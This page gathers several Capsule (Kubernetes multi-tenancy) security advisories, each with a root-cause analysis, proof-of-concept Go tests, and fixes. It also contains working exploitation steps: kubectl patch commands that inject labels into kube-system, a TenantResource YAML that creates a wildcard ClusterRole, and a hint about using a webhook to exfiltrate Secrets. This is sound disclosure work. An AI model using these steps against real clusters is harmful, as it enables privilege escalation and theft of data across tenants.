See how capsule compares to other vendors in security performance
Summary
A parameter order bug in internal/webhook/tenant/validation/hostnameregex.go causes the hostnameRegexHandler.OnUpdate webhook to validate the old Tenant object's AllowedHostnames.Regex instead of the new one being submitted. This allows an invalid (malformed) regex to bypass admission validation and be persisted to etcd, causing a Denial of Service for all Ingress operations within the affected tenant.
Details
The TypedHandler[T] interface defines OnUpdate as:
go // handlers.go OnUpdate(c client.Client, reader client.Reader, obj T, old T, decoder admission.Decoder, recorder events.EventRecorder) Func // ^^^ NEW ^^^ OLD
The dispatcher in handler.go:93 calls: go hndl.OnUpdate(c, reader, tnt, old, decoder, recorder) // ^^^ NEW ^^^ OLD
However, hostnameRegexHandler.OnUpdate in hostnameregex.go declares its parameters in reversed order:
go // hostnameregex.go (BUGGY) func (h hostnameRegexHandler) OnUpdate( client.Client, client.Reader, old capsulev1beta2.Tenant, // ← receives NEW tenant (mislabeled as old) tnt capsulev1beta2.Tenant, // ← receives OLD tenant (mislabeled as tnt) ... ) handlers.Func { return func(...) admission.Response { if err := h.validate(tnt, req); err != nil { // ← validates OLD, not NEW return err } return nil } }
All 11 other handlers in the same package declare (tnt, old) correctly. hostnameregex.go is the only one with the swap.
As a result, when a Cluster Admin updates Tenant.Spec.IngressOptions.AllowedHostnames.Regex to a malformed value, the webhook compiles the previous valid regex and returns Allow. The malformed regex is then written to etcd.
Subsequently, every Ingress CREATE or UPDATE in that tenant triggers validatehostnames.go:160:
go matched, = regexp.MatchString(allowedRegex, currentHostname)
regexp.MatchString with an invalid pattern returns (false, error). The error is silently ignored, matched is false, and every hostname is rejected — blocking all Ingress operations in the tenant until the Tenant object is manually corrected by an admin.
PoC
//go:build ignore // Standalone reproducer for hostnameregex.go argument swap bug in Capsule // No external deps - shows the bug logic using only stdlib
package main
import ( "fmt" "regexp" )
// Simulating the Tenant spec structure type AllowedHostnames struct { Regex string }
type IngressOptions struct { AllowedHostnames AllowedHostnames }
type TenantSpec struct { IngressOptions IngressOptions }
type Tenant struct { Name string Spec TenantSpec }
// ========================================================= // BUGGY implementation (hostnameregex.go as-is) // OnUpdate(, , old Tenant, tnt Tenant) → validates OLD // ========================================================= func hostnameValidate(tnt Tenant) error { if tnt.Spec.IngressOptions.AllowedHostnames == nil { return nil } if len(tnt.Spec.IngressOptions.AllowedHostnames.Regex) == 0 { return nil } , err := regexp.Compile(tnt.Spec.IngressOptions.AllowedHostnames.Regex) if err != nil { return fmt.Errorf("Deny: unable to compile allowedHostnames allowedRegex") } return nil }
// Dispatcher calls: OnUpdate(c, reader, newTenant, oldTenant, ...) // Interface says: OnUpdate(c, reader, obj[NEW], old[OLD], ...) // // BUGGY handler receives: (old, tnt) meaning: // 3rd param (labeled "old") = actually NEW // 4th param (labeled "tnt") = actually OLD // Then calls h.validate(tnt) = validates the OLD tenant func buggyOnUpdate(newTenant, oldTenant Tenant) error { // BUG: parameters are SWAPPED vs the interface contract old := newTenant // dispatcher's "new" arrives as "old" in this function tnt := oldTenant // dispatcher's "old" arrives as "tnt" in this function = old // unused in the real code too return hostnameValidate(tnt) // validates OLD, not NEW }
// CORRECT implementation (what it should be) func correctOnUpdate(newTenant, oldTenant Tenant) error { = oldTenant return hostnameValidate(newTenant) // validates NEW }
// Simulate ingress hostname validation AFTER bad regex is stored func validateIngressHostname(tenant Tenant, hostname string) bool { if tenant.Spec.IngressOptions.AllowedHostnames == nil { return true } allowedRegex := tenant.Spec.IngressOptions.AllowedHostnames.Regex if len(allowedRegex) == 0 { return true } // This is validatehostnames.go:160 - error is IGNORED matched, := regexp.MatchString(allowedRegex, hostname) return matched }
func main() { fmt.Println("=== Capsule Bug Reproducer: hostnameregex.go argument swap ===") fmt.Println()
oldTenant := &Tenant{ Name: "demo-tenant", Spec: TenantSpec{ IngressOptions: IngressOptions{ AllowedHostnames: &AllowedHostnames{ Regex: ^[\w.-]+\.example\.com$, // valid regex }, }, }, }
// Attacker (cluster admin) sets an INVALID regex in the new spec newTenant := &Tenant{ Name: "demo-tenant", Spec: TenantSpec{ IngressOptions: IngressOptions{ AllowedHostnames: &AllowedHostnames{ Regex: [invalid-regex(, // INVALID regex }, }, }, }
fmt.Printf("Old tenant regex: %q (valid)\n", oldTenant.Spec.IngressOptions.AllowedHostnames.Regex) fmt.Printf("New tenant regex: %q (INVALID)\n", newTenant.Spec.IngressOptions.AllowedHostnames.Regex) fmt.Println()
// Step 1: Webhook runs OnUpdate fmt.Println("--- Step 1: Webhook OnUpdate ---")
err := buggyOnUpdate(newTenant, oldTenant) if err != nil { fmt.Printf("[BUGGY] Webhook DENIES update: %v\n", err) } else { fmt.Println("[BUGGY] Webhook ALLOWS update (validates OLD regex) ← WRONG") }
err = correctOnUpdate(newTenant, oldTenant) if err != nil { fmt.Printf("[CORRECT] Webhook DENIES update: %v ← EXPECTED\n", err) } else { fmt.Println("[CORRECT] Webhook ALLOWS update") }
// Step 2: Invalid regex now stored in etcd - simulate ingress validation fmt.Println() fmt.Println("--- Step 2: Ingress creation after bad regex stored ---") storedTenant := newTenant // bad regex is now in etcd
hostnames := []string{ "app.example.com", "api.example.com", "evil.attacker.com", }
for , h := range hostnames { allowed := validateIngressHostname(storedTenant, h) fmt.Printf(" Ingress hostname %q → allowed=%v", h, allowed) if !allowed { fmt.Print(" ← BLOCKED (DoS: invalid regex causes all hostnames to fail)") } fmt.Println() }
fmt.Println() fmt.Println("=== Result ===") fmt.Println("Invalid regex bypasses webhook validation and gets stored.") fmt.Println("All subsequent Ingress create/update in this tenant are BLOCKED.") fmt.Println("CWE-697: Incorrect Comparison — wrong Tenant object is validated.") }
go // Simulates the buggy webhook behaviour oldTenant := &Tenant{AllowedRegex: ^[\w-]+\.example\.com$} // valid newTenant := &Tenant{AllowedRegex: [invalid-regex(} // malformed
// Buggy OnUpdate: validates oldTenant (valid) → ALLOW // Correct OnUpdate: validates newTenant (invalid) → DENY
// After malformed regex is stored, all ingress hostnames are rejected: matched, := regexp.MatchString([invalid-regex(, "app.example.com") // matched = false, error ignored → Ingress blocked
Fix
Swap the parameter names in hostnameregex.go to match the interface contract:
go // BEFORE (buggy) func (h hostnameRegexHandler) OnUpdate( client.Client, client.Reader, old capsulev1beta2.Tenant, tnt capsulev1beta2.Tenant, ...
// AFTER (fixed) func (h hostnameRegexHandler) OnUpdate( client.Client, client.Reader, tnt capsulev1beta2.Tenant, old capsulev1beta2.Tenant, ...
Impact
A Cluster Admin (or a compromised admin account) can — intentionally or via a typo — set a malformed AllowedHostnames.Regex on any Tenant. The webhook silently accepts the update. All users in the affected tenant are subsequently unable to create or update any Ingress resource until an admin manually corrects the Tenant spec. This constitutes a targeted Denial of Service against the tenant's ingress layer.
Summary
Capsule lets a cluster administrator forbid specific metadata keys that tenant owners must not place on their own resources: Tenant.spec.namespaceOptions.forbiddenLabels / forbiddenAnnotations (namespaces), Tenant.spec.serviceOptions.forbiddenLabels / forbiddenAnnotations (Services), and the cluster-wide forbidden worker-node labels/annotations. These lists are an isolation control — they exist to stop a tenant owner from setting metadata that other controllers or admission plugins key on (Pod Security Admission labels, kubernetes.io/metadata.name, LoadBalancer/externalIP service annotations, scheduler annotations, vendor labels that grant network reach, etc.). The validating webhooks enforce them through api.ValidateForbidden, which calls ForbiddenListSpec.ExactMatch(key) for every key the tenant submits.
ExactMatch is broken. It sorts the denied list case-insensitively (sort.SliceStable with a strings.ToLower comparator) and then performs a byte-order binary search (sort.SearchStrings) over the result. sort.SearchStrings is only correct on a slice sorted in plain byte-ascending order. Whenever the denied list contains an entry whose case-insensitive position differs from its byte position — which happens any time the list mixes a capitalised key with lowercase keys, because ASCII uppercase letters (0x41–0x5A) sort before lowercase (0x61–0x7A) by byte but are interleaved by ToLower — the binary search lands on the wrong index and ExactMatch returns false for a key that is literally present in the denied list. The webhook then allows the forbidden metadata.
A tenant owner (who legitimately holds patch/create rights on their own tenant-owned namespaces and Services) can therefore set a metadata key the administrator explicitly forbade, defeating the control and reaching metadata-driven cross-tenant / system effects of exactly the kind Capsule's forbidden lists are meant to prevent. The bug is deterministic, requires no race, and is present unchanged on main HEAD.
Affected code (v0.13.5)
pkg/api/forbiddenlist.go — the comparison primitive:
go func (in ForbiddenListSpec) ExactMatch(value string) (ok bool) { if len(in.Exact) > 0 { sort.SliceStable(in.Exact, func(i, j int) bool { return strings.ToLower(in.Exact[i]) < strings.ToLower(in.Exact[j]) // case-INSENSITIVE order })
i := sort.SearchStrings(in.Exact, value) // binary search assuming BYTE order
ok = i < len(in.Exact) && in.Exact[i] == value }
return ok }
sort.SearchStrings returns the smallest index i such that in.Exact[i] >= value under raw byte comparison. If the slice is not byte-sorted, that index is wrong and the subsequent in.Exact[i] == value equality check fails even though value is in the slice — a false "not forbidden".
pkg/api/forbiddenlist.go — the public entry point the webhooks call:
go func ValidateForbidden(metadata map[string]string, forbiddenList ForbiddenListSpec) error { if reflect.DeepEqual(ForbiddenListSpec{}, forbiddenList) { return nil } for key := range metadata { var forbidden, matched bool forbidden = forbiddenList.ExactMatch(key) // <-- buggy matched = forbiddenList.RegexMatch(key) if forbidden || matched { return NewForbiddenError(key, forbiddenList) } } return nil }
Reached from (all in internal/webhook/):
- namespace/validation/usermetadata.go → validateUserMetadata → api.ValidateForbidden(labels, options.ForbiddenLabels) and api.ValidateForbidden(annotations, options.ForbiddenAnnotations). - service/validating.go → api.ValidateForbidden(svc.Labels, tnt.Spec.ServiceOptions.ForbiddenLabels) and ...ForbiddenAnnotations. - node/usermetadata.go → getForbiddenNodeLabels / getForbiddenNodeAnnotations call forbiddenLabels.ExactMatch(...) directly.
(The sibling allow-list primitive AllowedListSpec.ExactMatch in pkg/api/allowedlist.go has the identical defect, but there the polarity is fail-closed — a missed match wrongly denies an allowed class — so it is a correctness annoyance, not a security bypass. The forbidden-list polarity is the one that fails open.)
Attacker model / precondition
The attacker is a tenant owner — an authenticated, non-cluster-admin principal who already holds Capsule's delegated rights to create/patch their own tenant-owned namespaces and the Services within them (the normal Capsule tenancy model). No additional Kubernetes privilege is required.
The single deployment precondition that bounds severity: the administrator's denied list must contain at least one entry whose case-insensitive sort order diverges from its byte order — in practice, the list mixes at least one capitalised key with lowercase keys (or contains non-ASCII keys). A list that is uniformly lowercase (the most common shape) sorts identically under both orders and is not affected; an empty list (the chart default) is not affected. Mixed-case denied lists are entirely realistic, however: administrators routinely deny vendor/product-capitalised keys (e.g. OwnerReference, NetworkPolicy, CamelCase operator labels) alongside lowercase kubernetes.io/... keys. Once a single CamelCase entry is present, the broken binary search can also drop lowercase entries that share no resemblance to it — in the PoC below, adding a NetworkPolicy entry causes the unrelated lowercase kubernetes.io/metadata.name entry to escape as well. Any such list silently develops one or more exploitable gaps, and the defender cannot tell from the configuration that enforcement is partially disabled — the webhook reports success.
Once the precondition holds, exploitation is deterministic and needs only a single kubectl label/kubectl annotate (or create) on a resource the tenant already controls.
Impact
The administrator's forbidden-metadata isolation control is partially and silently bypassable. Concrete consequences depend on which key the gap exposes, but all of them are precisely what the control was configured to stop:
- Namespace labels/annotations: a tenant owner sets a label the admin forbade onto a tenant namespace — e.g. a Pod Security Admission pod-security.kubernetes.io/enforce override, a kubernetes.io/metadata.name-class identity label, or a label that a cluster NetworkPolicy / external controller selects on — re-introducing the multi-tenant-isolation break that Capsule's forbidden-label feature exists to prevent (the same class as the previously-fixed namespace-label-injection isolation issue). - Service labels/annotations: a tenant owner sets a forbidden Service annotation — e.g. a cloud LoadBalancer / externalIPs / internal-LB provider annotation the admin denied — influencing network exposure outside the tenant boundary. - Node labels/annotations: for tenants granted node-patch rights, a forbidden node label that the admin meant to protect can be modified, affecting scheduling/topology decisions cluster-wide.
Scope is Changed (the webhook protects resources and effects beyond the tenant's own boundary), confidentiality/integrity impact is real but gated by the mixed-case precondition and by which specific key the gap exposes — hence Medium, not High.
Proof of Concept (complete — runs on 127.0.0.1 only)
This PoC drives the real Capsule decision code (pkg/api) — the exact function the namespace/service/node webhooks call — with no network and no cluster. It demonstrates the bypass with a realistic mixed-case denied list and includes positive and negative controls so the result is unambiguous.
Step 1 — fetch the exact source under test (offline thereafter):
bash git clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git cd capsule git rev-parse HEAD # expect 34262c5536604762090144b6f8aed3ef2780c18c
Step 2 — drop this test into the package under test, pkg/api/forbiddenbypasspoctest.go. The denied list is a realistic three-key administrator policy: deny the namespace identity label kubernetes.io/metadata.name, the Pod Security Admission label pod-security.kubernetes.io/enforce, and a CamelCase NetworkPolicy label:
go package api
import "testing"
// Realistic admin policy: forbid three sensitive metadata keys. func denied() ForbiddenListSpec { return ForbiddenListSpec{ Exact: []string{ "kubernetes.io/metadata.name", "pod-security.kubernetes.io/enforce", "NetworkPolicy", }, } }
// The bug: keys that ARE in the denied list slip through ValidateForbidden, // i.e. the webhook would ALLOW forbidden metadata the tenant submits. func TestPoCForbiddenKeysBypassed(t testing.T) { for , k := range []string{"NetworkPolicy", "kubernetes.io/metadata.name"} { if err := ValidateForbidden(map[string]string{k: "owned"}, denied()); err == nil { t.Errorf("BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key %q (list=%v)", k, denied().Exact) } else { t.Logf("(no bypass) correctly denied %q: %v", k, err) } } }
// Positive control: a third denied key in the SAME list is still correctly // blocked — proving the policy genuinely forbids these keys and the harness is // wired right (i.e. the bypass above is selective, not a dead enforcement path). func TestPoCPositiveControlStillBlocked(t testing.T) { if err := ValidateForbidden(map[string]string{"pod-security.kubernetes.io/enforce": "privileged"}, denied()); err == nil { t.Errorf("control failure: denied key 'pod-security.kubernetes.io/enforce' was NOT blocked") } }
// Negative control: a key the admin did NOT deny is correctly allowed, // proving the webhook is not simply denying everything. func TestPoCNegativeControlBenignAllowed(t testing.T) { if err := ValidateForbidden(map[string]string{"app.kubernetes.io/name": "frontend"}, denied()); err != nil { t.Errorf("control failure: benign key was wrongly denied: %v", err) } }
// Direct primitive check, minimal repro of the root cause. func TestPoCExactMatchRootCause(t testing.T) { spec := ForbiddenListSpec{Exact: []string{"B", "a"}} // mixed case if !spec.ExactMatch("B") { t.Errorf("ROOT CAUSE: ExactMatch(%q) returned false though %q is in %v", "B", "B", spec.Exact) } }
Step 3 — run only these tests:
bash go test ./pkg/api/ -run 'TestPoC' -v
Observed output (Go 1.26, capsule v0.13.5):
=== RUN TestPoCForbiddenKeysBypassed forbiddenbypasspoctest.go:21: BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key "NetworkPolicy" (list=[kubernetes.io/metadata.name pod-security.kubernetes.io/enforce NetworkPolicy]) forbiddenbypasspoctest.go:21: BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key "kubernetes.io/metadata.name" (list=[kubernetes.io/metadata.name pod-security.kubernetes.io/enforce NetworkPolicy]) --- FAIL: TestPoCForbiddenKeysBypassed (0.00s) === RUN TestPoCPositiveControlStillBlocked --- PASS: TestPoCPositiveControlStillBlocked (0.00s) === RUN TestPoCNegativeControlBenignAllowed --- PASS: TestPoCNegativeControlBenignAllowed (0.00s) === RUN TestPoCExactMatchRootCause forbiddenbypasspoctest.go:49: ROOT CAUSE: ExactMatch("B") returned false though "B" is in [a B] --- FAIL: TestPoCExactMatchRootCause (0.00s) FAIL FAIL github.com/projectcapsule/capsule/pkg/api 0.013s
Interpretation: both control tests PASS — within the very same denied list, pod-security.kubernetes.io/enforce is still correctly blocked and a benign key is allowed, so enforcement is alive and the policy genuinely forbids these keys. Yet TestPoCForbiddenKeysBypassed FAILS: two explicitly-denied keys — the namespace identity label kubernetes.io/metadata.name and the CamelCase NetworkPolicy label — were allowed by the exact function the namespace/service/node webhooks call. In a live cluster this is the difference between the admission webhook denying and permitting kubectl label namespace <tenant-ns> NetworkPolicy=open (or the equivalent on a Service or Node). TestPoCExactMatchRootCause reduces the defect to its one-line cause.
Why it happens, concretely: sort.SearchStrings does a byte-order binary search but the slice was sorted by strings.ToLower. With the minimal Exact = ["B","a"], the ToLower comparator orders the slice ["a","B"] (because "a" < "b"). sort.SearchStrings(["a","B"], "B") returns the first index whose element byte-compares >= "B"; "a" is 0x61, which is >= "B" (0x42), so it returns index 0, and "a" != "B" → reports not-found. The forbidden key "B" is thereby treated as allowed. The three-key policy above exhibits the same fault for two of its real entries while leaving the third correctly enforced — which is exactly why the gap is silent: the administrator sees some keys blocked and reasonably assumes the whole list works.
Remediation
Stop performing a byte-order binary search over a non-byte-sorted slice. Any of the following fixes it:
- Simplest and allocation-free: replace the sort+SearchStrings with a direct membership test, and (recommended) build the denied list into a map[string]struct{} once at admission time:
go func (in ForbiddenListSpec) ExactMatch(value string) bool { for , e := range in.Exact { if e == value { return true } } return false }
- If a binary search is desired for large lists, sort and search under the same ordering: sort with plain < (drop the ToLower comparator) so the slice matches what sort.SearchStrings assumes, then keep the i < len && in.Exact[i] == value guard.
Apply the identical fix to AllowedListSpec.ExactMatch in pkg/api/allowedlist.go (same defect, fail-closed today but still incorrect and a latent denial). Also note that ExactMatch currently mutates the caller-shared in.Exact slice in place via sort.SliceStable; the map-based or copy-before-sort form additionally removes that shared-state mutation. Decide deliberately whether forbidden-key matching should be case-sensitive (it is today, post-fix) — if case-insensitive matching is intended, lowercase both the stored keys and the lookup value explicitly rather than relying on a mismatched sort/search pair.
Please credit 5ud0 / Tarmo Technologies.
Summary A validation bug in internal/webhook/tenant/validation/forbiddenannotationsregex.go allows an invalid ForbiddenAnnotations.Regex value to bypass Tenant admission on update. The webhook compiles ForbiddenLabels.Regex for both labels and annotations, so a malformed annotations regex can be persisted. Once stored, namespace admission later evaluates the bad regex through pkg/api/forbiddenlist.go, where regexp.MustCompile can panic and cause admission failure.
Details In internal/webhook/tenant/validation/forbiddenannotationsregex.go, OnUpdate validates the new Tenant object, but the loop compiles tnt.Spec.NamespaceOptions.ForbiddenLabels.Regex for both labels and annotations. That means an invalid ForbiddenAnnotations.Regex is never validated if ForbiddenLabels.Regex is valid.
Relevant paths: - internal/webhook/tenant/validation/forbiddenannotationsregex.go - internal/webhook/namespace/validation/usermetadata.go - pkg/api/forbiddenlist.go
Namespace admission later calls api.ValidateForbidden(...), and ForbiddenListSpec.RegexMatch() uses regexp.MustCompile(in.Regex). If the malformed regex is present in the Tenant spec, any namespace request that reaches this check can panic or fail hard, causing denial of service for namespace operations in the affected tenant.
PoC 1. Update a Tenant so that: - spec.namespaceOptions.forbiddenLabels.regex is valid - spec.namespaceOptions.forbiddenAnnotations.regex is malformed, for example: [invalid-regex( 2. The Tenant update is accepted because the webhook compiles the labels regex for both fields. 3. Create or update a Namespace that triggers forbidden metadata validation. 4. The namespace admission path reaches regexp.MustCompile(...) and panics.
package main
import ( "fmt" "regexp" )
type ForbiddenListSpec struct { Regex string }
type NamespaceOptions struct { ForbiddenLabels ForbiddenListSpec ForbiddenAnnotations ForbiddenListSpec }
type Tenant struct { NamespaceOptions NamespaceOptions }
func validateTenantUpdate(tnt Tenant) error { if tnt.NamespaceOptions == nil { return nil }
annotationsToCheck := map[string]string{ "labels": tnt.NamespaceOptions.ForbiddenLabels.Regex, "annotations": tnt.NamespaceOptions.ForbiddenAnnotations.Regex, }
for scope, annotation := range annotationsToCheck { if , err := regexp.Compile(tnt.NamespaceOptions.ForbiddenLabels.Regex); err != nil { return fmt.Errorf("deny update: unable to compile %s regex for forbidden %s", annotation, scope) } }
return nil }
func validateForbidden(metadata map[string]string, forbidden ForbiddenListSpec) error { for key := range metadata { if forbidden.Regex != "" { if regexp.MustCompile(forbidden.Regex).MatchString(key) { return fmt.Errorf("forbidden key matched: %s", key) } } }
return nil }
func main() { oldTenant := &Tenant{ NamespaceOptions: &NamespaceOptions{ ForbiddenLabels: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, ForbiddenAnnotations: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, }, }
newTenant := &Tenant{ NamespaceOptions: &NamespaceOptions{ ForbiddenLabels: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, ForbiddenAnnotations: ForbiddenListSpec{Regex: [invalid-regex(}, }, }
fmt.Println("=== Update step ===") if err := validateTenantUpdate(newTenant); err != nil { fmt.Printf("unexpected deny: %v\n", err) } else { fmt.Println("allowed: malformed ForbiddenAnnotations.Regex bypassed validation") }
fmt.Println() fmt.Println("=== Namespace step ===") = oldTenant
defer func() { if r := recover(); r != nil { fmt.Printf("panic reproduced from ValidateForbidden: %v\n", r) } }()
= validateForbidden(map[string]string{"example": "value"}, ForbiddenListSpec{Regex: [invalid-regex(}) fmt.Println("no panic, unexpected") } Expected output:
text === Update step === allowed: malformed ForbiddenAnnotations.Regex bypassed validation
=== Namespace step === panic reproduced from ValidateForbidden: regexp: Compile([invalid-regex(): error parsing regexp: missing closing ]: [invalid-regex(
Impact An attacker who can update the Tenant configuration can persist a malformed ForbiddenAnnotations.Regex and cause namespace admission failures for the affected tenant. This can result in a tenant-scoped denial of service.
Summary CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources (e.g. ClusterRole, ValidatingWebhookConfiguration) through a TenantResource, because the controller applies them with its cluster-admin ServiceAccount and SetNamespace is ineffective for cluster-scoped kinds. The v0.13.0 fix added a cluster-scope rejection guard, but only on the NamespacedItems selection path (ResourceReference.LoadResources -> IsNamespacedGVK, error "cluster-scoped kind ... is not allowed"). The RawItems create path — the exact vector the original advisory named — and the Generators path were not given this guard. The vulnerability therefore persists in all releases v0.13.0 through v0.13.7 and on trunk HEAD (8d89d6865d).
Details TenantResource reconcile flow: - internal/controllers/resources/namespaced.go reconcile() obtains the apply client via loadClient(); by default (impersonation off, no Spec.ServiceAccount) this is the manager client whose SA is bound to cluster-admin (charts/capsule/templates/rbac.yaml:488-501, {fullname}-manager-rolebinding -> roleRef cluster-admin). - Collector.Collect() (collect.go) processes spec.RawItems via handleRawItem and spec.Generators via handleGeneratorItem.
handleRawItem (collect.go:406-425, trunk HEAD — byte-identical to v0.13.0): go tmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext) obj := &unstructured.Unstructured{} unstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj) if ns != nil { obj.SetNamespace(ns.Name) } // ONLY mitigation return obj, nil // NO IsNamespacedGVK / allowClusterScoped guard handleGeneratorItem (collect.go:382-404) is the same: it only SetNamespaces on rendered objects.
The accumulated objects flow to pkg/api/processor/processorfunc.go Reconcile() -> Apply() -> clt.PatchApply(ctx, c, obj, ...) (line 167/378) with no scope check at any point.
By contrast, CollectNamespacedItems (collect.go:308) calls item.LoadResources(..., allowClusterScoped=false), and pkg/template/reference.go:105-107 enforces: go if !allowClusterScoped && !isNamespaced { return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", ...) } So the guard the fix added is real, but it sits on a different (selection) path than the one the CVE described (RawItems create path). For cluster-scoped kinds, SetNamespace is ignored by the Kubernetes API server, so the object is created cluster-wide by the cluster-admin client.
Parent-fix diff confirmation: in v0.12.4 the RawItems handler in processor.go was the vulnerable code (obj.SetNamespace(ns.Name) then createOrUpdate via r.client). v0.13.0 refactored this into collect.go handleRawItem but left it without the new guard.
Proof of Concept A self-contained in-process Go test (incompletefixpoctest.go), run against trunk HEAD with go1.26.4, proves the asymmetry: - TestRawItemPathNoClusterScopeGuard: feeds a ClusterRole rawItem to handleRawItem -> object returned unchanged, no rejection (PASS). - TestNamespacedItemsPathHasClusterScopeGuard: feeds the same ClusterRole kind to LoadResources(allowClusterScoped=false) -> rejected with "cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed" (PASS).
VULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole; metadata.namespace="tenant-ns" (ignored by API server for cluster-scoped kinds) GUARDED: NamespacedItems path correctly rejected cluster-scoped kind: cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed
End-to-end (cluster) reproduction: 1. Deploy capsule (default Helm) with rbac.resources.create=true (the opt-in that exposes TenantResources to tenant owners; the configuration the original CVE applies to). 2. As a Tenant Owner, create in a tenant namespace: yaml apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: {name: pwn, namespace: <tenant-ns>} spec: resources: - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}} rawItems: - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: {name: tenant-escalation} rules: [{apiGroups: [""], resources: [""], verbs: [""]}] 3. Observe the cluster-scoped ClusterRole tenant-escalation is created by the cluster-admin controller, despite the tenant owner lacking cluster RBAC to create it. Swap in ValidatingWebhookConfiguration to intercept/exfiltrate cluster-wide Secrets.
Impact A Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all tenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not close the RawItems/Generators vector.
Remediation Apply the same IsNamespacedGVK / allowClusterScoped rejection inside handleRawItem and handleGeneratorItem — or centrally in Collector.AddToAccumulation / processor.Apply — so the create path enforces the same cluster-scope policy as the selection path. (GlobalTenantResource shares the path but is not a privesc — cluster-admin-only to create.)
Summary A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce.
Details The vulnerability exists in the namespace validation webhook logic located in pkg/webhook/namespace/validation/patch.go:60-77. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label:
go if label, ok := ns.Labels[ln]; ok { // Only checks permissions when namespace has tenant label if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) { response := admission.Denied(e) return &response } }
return nil // Critical issue: allows operation if no tenant label exists
Root Cause Analysis: 1. Missing Default Protection: System namespaces (kube-system, default, capsule-system) do not have the capsule.clastix.io/tenant label by default 2. Bypass Logic: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant 3. Unrestricted Label Injection: Authenticated users can inject arbitrary labels into unprotected namespaces
Attack Vector Path: Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access
This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation: - CVE-2024-39690: ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking - This vulnerability: Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access
PoC Prerequisites: - Minikube cluster with Capsule v0.10.3 installed - Authenticated tenant user with basic RBAC permissions
Step 1: Environment Setup bash Install Minikube and Capsule minikube start helm repo add projectcapsule https://projectcapsule.github.io/charts helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
Create tenant and user kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: - name: alice kind: User EOF
Create user certificate and kubeconfig (using provided script) ./create-user-minikube.sh alice tenant1
Step 2: Label Injection Attack bash Switch to attacker context export KUBECONFIG=alice-tenant1.kubeconfig
Inject malicious labels into system namespaces kubectl patch namespace kube-system --type='json' -p='[ { "op": "add", "path": "/metadata/labels/malicious-label", "value": "attack-value" } ]'
Verify injection success kubectl get namespace kube-system --show-labels
Step 3: Exploitation via TenantResource bash Create attacker-controlled namespace kubectl create namespace alice-attack
Create malicious TenantResource targeting injected labels cat <<EOF | kubectl apply -f - apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: name: malicious-resource namespace: alice-attack spec: resyncPeriod: 60s resources: - namespaceSelector: matchLabels: malicious-label: "attack-value" EOF
Verify cross-tenant access kubectl get tenantresource -n alice-attack malicious-resource -o yaml
Step 4: Verification of Impact bash Check if system namespace resources are now accessible export KUBECONFIG=~/.kube/config kubectl get namespaces -l "malicious-label=attack-value" Output shows: kube-system (and potentially other injected namespaces)
Check for potential resource replication/access kubectl get all -n kube-system kubectl get secrets -n kube-system kubectl get configmaps -n kube-system
Automated Testing Script: A complete vulnerability verification script is available that tests: - Label injection into multiple system namespaces - TenantResource exploitation - Cross-tenant resource access verification - Impact assessment and cleanup
Impact Vulnerability Type: Authorization Bypass / Privilege Escalation
Who is Impacted: - Multi-tenant Kubernetes clusters using Capsule v0.10.3 and potentially earlier versions - Organizations relying on Capsule for tenant isolation and resource governance - Cloud service providers offering Kubernetes-as-a-Service with Capsule-based multi-tenancy
Security Impact: 1. Multi-tenant Isolation Bypass: Attackers can access resources from other tenants or system namespaces 2. Privilege Escalation: Tenant users can gain access to cluster-wide resources and sensitive system components 3. Data Exfiltration: Potential access to secrets, configmaps, and other sensitive data in system namespaces 4. Resource Quota Bypass: Ability to consume resources outside assigned tenant boundaries 5. Policy Circumvention: Bypass network policies, security policies, and other tenant-level restrictions
Real-world Exploitation Scenarios: - Access to kube-system secrets containing cluster certificates and service account tokens - Modification or replication of critical system configurations - Cross-tenant data access in shared clusters - Potential cluster-wide compromise through system namespace access
Severity: High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.